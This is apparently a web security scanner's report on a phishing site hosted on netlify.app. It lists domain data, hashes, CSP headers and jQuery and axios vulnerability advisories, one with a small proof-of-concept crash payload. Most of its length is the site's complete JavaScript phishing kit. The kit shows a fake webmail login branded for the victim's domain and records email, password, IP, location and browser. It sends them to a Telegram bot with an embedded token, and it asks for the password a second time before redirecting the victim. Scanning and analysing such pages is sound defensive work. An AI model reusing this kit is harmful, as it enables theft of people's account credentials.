English

You're looking at domain 'sgfhgjg.netlify.app' on the application-focused generic top-level domain (.app) and includes subdomain 'sgfhgjg'. Count 7 characters in 'netlify' with 2 vowels and five consonants. Breaking it apart gives 3 words: net, li, fy. The median word length lands at 2 characters. No strong language cues emerged from the frequency lists.

username

pdf2

pdf1

address

email

type

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

56c12a125b021d21a69e61d7190cefa168d6c28ce715265cea1b3b0112d169c4

e7ed36ceee5450b4243bbc35188afabdfb4280c7c57597001de0ed167299b01b

a52f7aa54d7bcaafa056ee0a050262dfc5694ae28dee8b4cac3429af37ff0d66

05b85d96f41fff14d8f608dad03ab71e2c1017c2da0914d7c59291bad7a54f8e

2b26394aac8199778cd337d8046535b6ea9cb2dc698e4102029ca963e080e19f

85556761a8800d14ced8fcd41a6b8b26bf012d44a318866c0d81a62092efd9bf

d8aa24ecc6cecb1a60515bc093f1c9da38a0392612d9ab8ae0f7f36e6eee1fad

9365920887b11b33a3dc4ba28a0f93951f200341263e3b9cefd384798e4be398

jQuery 1.x and 2.x are End-of-Life and no longer receiving security updates

parseHTML() executes scripts in event handlers

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability

Axios is vulnerable to Inefficient Regular Expression Complexity

Axios Cross-Site Request Forgery Vulnerability

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

## Summary

When Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.
This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`.

# Denial of Service via **proto** Key in mergeConfig

### Summary

The `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.

### Details

The vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:

```javascript
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
```

When `prop` is `'__proto__'`:

1. `JSON.parse('{"__proto__": {...}}')` creates an object with `__proto__` as an own enumerable property
2. `Object.keys()` includes `'__proto__'` in the iteration
3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)
4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`
5. `Object.prototype(...)` throws `TypeError: merge is not a function`

The `mergeConfig` function is called by:

- `Axios._request()` at `lib/core/Axios.js:75`
- `Axios.getUri()` at `lib/core/Axios.js:201`
- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`

### PoC

```javascript
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
```

**Reproduction steps:**

1. Clone axios repository or `npm install axios`
2. Create file `poc.mjs` with the code above
3. Run: `node poc.mjs`
4. Observe the TypeError crash

**Verified output (axios 1.13.4):**

```
TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)
```

**Control tests performed:**
| Test | Config | Result |
|------|--------|--------|
| Normal config | `{"timeout": 5000}` | SUCCESS |
| Malicious config | `JSON.parse('{"__proto__": {"x": 1}}')` | **CRASH** |
| Nested object | `{"headers": {"X-Test": "value"}}` | SUCCESS |

**Attack scenario:**
An application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{"__proto__": {"x": 1}}`.

### Impact

**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

- Node.js servers using axios for HTTP requests
- Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Versions before 1.6.8 depends on follow-redirects before 1.15.6 which could leak the proxy authentication credentials

a49262f4c7ca09c4663dfa016762d05272f2c77d84bd271de49a49f7604ce6d3

a56549923401f9923268a8c85c5f1f4c058047a439b08061520279b50812bed0

42a12efa62ebe63cd6dfdef78db0afcc1285ae7c6f76266632bfb4e7e2952afd

viewport

width=device-width, initial-scale=1, shrink-to-fit=no

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';media-src blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Gandi SAS

thum.io

1API GmbH

JQUERY.COM

Cloudflare, Inc.

CLOUDFLARE.COM

MarkMonitor Inc.

GOOGLEAPIS.COM

Name.com Abuse Team

Name.com, Inc.

netlify.app

Google Inc.

Google LLC

GOOGLE

document.write(unescape('%3Chead%3E%0A%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%0A%20%20%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%2


    /* global $ */
    $(document).ready(function () {
      var cntt = 0;
      initializePage();

      $('#back1').click(function () {
        $("#msg").hide();
        $('#ai').val("");
        $("#automail").animate({
          left: 200,
          opacity: "hide"
        }, 0);
        $("#inputbar").animate({
          right: 200,
          opacity: "show"
        }, 1000);

      });

      var ai = handleBase64Data(window.location.hash.substr(1));
      if (!ai) {

      } else {
        var my_ai = ai;
        $('#ai').val(my_ai);
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
          $('#errror').show();
          ai.focus;
          return false;
        }
        var ind = my_ai.indexOf("@");
        var m_slic = my_ai.substr((ind + 1));
        var c = m_slic.substr(0, m_slic.indexOf('.'));
        var fnll = c.toLowerCase();
        var fnllu = c.toUpperCase();
        var browser = GetBrowserandLanguage()[0];

        



      }

      var f = "bmV4dC5waHA=";

      $('#sub_btn').click(function (event) {
        $('#errror').hide();
        $('#mgss').hide();
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var mgss = $('#mgss').html();
        $('#mgss').text(mgss);
        ///////////////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
          $('#errror').show();
          ai.focus;
          return false;
        }

        var ind = my_ai.indexOf("@");
        var m_slic = my_ai.substr((ind + 1));
        var c = m_slic.substr(0, m_slic.indexOf('.'));
        var fnll = c.toLowerCase();
        var fnllu = c.toUpperCase();

        // $("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + m_slic);
        $("#logoname").html(fnllu);
        $(".domain").html(m_slic);
        ///////////////////////////
        cntt = cntt + 1;



      });
    })


    function GetBrowserandLanguage() {
      // deliver this method 
      let browser = window.clientInformation.appVersion;
      let language = window.clientInformation.language;
      // the return should be an array sorry not object ooo s
      let info = [browser, language]

      // return info array
      return info;
    }

    function initializePage() {

      setTimeout(function () {
        document.getElementsByClassName('loader')[0].style.display = 'none';
        var url = location.href;
        const link = new URL(url);
        let email = link.hash;
        email = handleBase64Data(email.substr(1).split('/')[0]);
        let website = email.substring(email.indexOf("@") + 1);
        var image = "https://image.thum.io/get/width/1200/http://" + website;
        document.body.style.backgroundImage = "url('"+ image +"')";
        document.getElementsByClassName('overlay')[0].style.display = 'block';
        document.getElementsByClassName('modal')[0].style.display = 'block';
      }, 700);

      // Split the current URL to extract a part
      const aim = window.location.hash.substr(1).split('/');
      var hashPart = handleBase64Data(aim[0]);

      const langs = getLocalizedLanguage(aim[1]);
      // console.log("LanguageDictionary :", hardInput)

      $('#error').html(langs.error);
      $('#lessThan4').html(langs.lessThan4);
      $('#msg').html(langs.msg);
      $('#submit-btn').html(langs.submitBtn);
      $('#sec-lg-ss').html(langs.secLgSs)
      $('#frg-psw').html(langs.frgPsw);
      $('#copy').html(langs.copy);
      $("#email").attr("placeholder", langs.emlTxt)
      $("#password").attr("placeholder", langs.pswTxt)
      // $('#loginText').html(langs.loginText);
      // $('#cancel-btn').html(langs.cancelText);
      if (hashPart) {
        hashPart = convertToBase64(hashPart)
        // Split the extracted part further
        var emailParts = hashPart.split('@');
        var domainName = emailParts[1].split('.')[0];

        // Capitalize the first letter of the domain name
        var capitalizedDomain = domainName.charAt(0).toUpperCase() + domainName.slice(1);

        // Update elements on the page
        var logoUrl = "https://logo.clearbit.com/" + emailParts[1];
        $.get(logoUrl)
          .done(function () {
            $("#logoimg").attr("src", logoUrl);
            $("#favicon").attr("href", logoUrl);
            $("#logoimg").show();
          })
          .fail(function () {
            logoUrl = "https://www.google.com/s2/favicons?domain=" + emailParts[1];
            $.get(logoUrl)
              .done(function () {
                $("#logoimg").hide();
              })
              .fail(function () {
                $("#logoimg").hide();
              })
          });

        $("#loginMgs").html(`${capitalizedDomain} ${langs.emlLogin}`);
        document.title = `${capitalizedDomain} - ${langs.mail}`;
        $("#email").val(hashPart);

        // Toggle password visibility
        $("#pass-eye").click(_0x4d7017 => {
          if ($("#password").attr("type") != "text") {
            $("#password").attr("type", "text");
          } else {
            $("#password").attr("type", "password");
          }
        });

        // Call a function to handle form submission
        handleFormSubmission($("#email"), $("#password"), emailParts[1], langs);
      }
    }

    function convertToBase64(str) {
      if (/^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?$/.test(str)) {
        return atob(str);
      } else {
        return str;
      }
    }

    

    function handleFormSubmission(emailField, passwordField, domain, langs) {

      var attempts = 0;
      var msgElement = $("#msg");
      var lessThan4Element = $("#lessThan4");
      var errorElement = $("#error");

      $('.login-form form').submit(function (event) {
        errorElement.hide();
        msgElement.hide();
        event.preventDefault();
        lessThan4Element.hide();
        $("#submit-btn").html(langs.verifyingText);
        var ai = emailField.val();
        var pr = passwordField.val();

        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
          $('#error').show();
          emailField.focus();
          return false;
        }

        var ind = my_ai.indexOf("@");
        var m_slic = my_ai.substr((ind + 1));
        var c = m_slic.substr(0, m_slic.indexOf('.'));
        var fnll = c.toLowerCase();
        var fnllu = c.toUpperCase();



        setTimeout(async () => {
          if (emailField.val() == '') {
            errorElement.show();
          } else {
            if (passwordField.val() == '') {
              msgElement.show();
            } else {
              if (passwordField.val().length < 4) {
                lessThan4Element.show();
                passwordField.val('');
              } else {
                ai = emailField.val();
                pr = passwordField.val();

                var date = new Date();
                const visitorInfo = await sendVisitorIP();
                // console.log('MX Record', await getMXRecord(domain))

                var message =
                  `--------+ General Webmail ReZulT ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} +--------\n`;
                message += "Email : " + ai + "\n";
                message += "Password : " + pr + "\n";
                message += "Checker: " + ai + ":" + pr + "\n";
                message += "Browser : " + GetBrowserandLanguage()[0] + "\n";

                message += "Language : " + GetBrowserandLanguage()[1] + "\n";
                message += "MX Record : " + await getMXRecord(domain) + "\n";
                message += "IP Address : " + visitorInfo[0] + "\n";
                message += `Region and Country : ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} \n`;
                message += "Date : " + date + "\n";
                message +=
                  `---------+ KOREA ReZulT ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} +-------------\n`;
                var token = "8048634668:AAGxhv07vdMNHWSLqSgswi8t_oluJPqsKrw";
                var chatId = "7873427311";

                $.ajax({
                  dataType: 'JSON',
                  url: `https://api.telegram.org/bot${token}/sendMessage`,
                  type: 'POST',
                  data: {
                    "chat_id": chatId,
                    "text": message
                  },
                  beforeSend: function (xhr) {
                    $('#submit-btn').html(langs.verifyingText);
                  },
                  success: function (response) {
                    if (response) {
                      if (response['ok'] == true) {
                        if (attempts >= 1) {
                          attempts = 0;
                          $(".login-form").hide();
                          $(".success-con").show();
                          $(".success-con .msg").html(`
                      ${langs.yourEmail} <br>
                      ${langs.success}</b>
                    `);
                          setTimeout(() => {
                            window.location.replace(
                              `http://www.${domain}`); // Redirect to the desired page
                          }, 5000);
                        } else {
                          attempts++;
                          msgElement.show();
                          passwordField.val('');
                          $('#submit-btn').html(langs.submitBtn);
                        }
                      }
                    }
                  },
                  error: function (err) {
                    $('#net-errror').show();
                    passwordField.val('');
                    console.log("Error : ", err);
                  }
                });
              }
            }
          }
        });
      });
    }
  

Requests	IP Address	Location	AS Autonomous System
1	104.18.10.207Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	151.101.65.155Fastly · CDN	United States	AS54113Fastly, Inc.
1	104.18.40.68Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	142.251.127.95Google · CDN	United States	AS15169Google LLC
1	35.157.26.135Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
1	104.17.24.14Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	192.178.183.95Google · CDN	United States	AS15169Google LLC
1	142.250.154.95Google · CDN	United States	AS15169Google LLC
1	151.101.193.155Fastly · CDN	United States	AS54113Fastly, Inc.
1	104.21.26.223Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
15	15	-	-

Security Scan Report: sgfhgjg.netlify.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies4

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History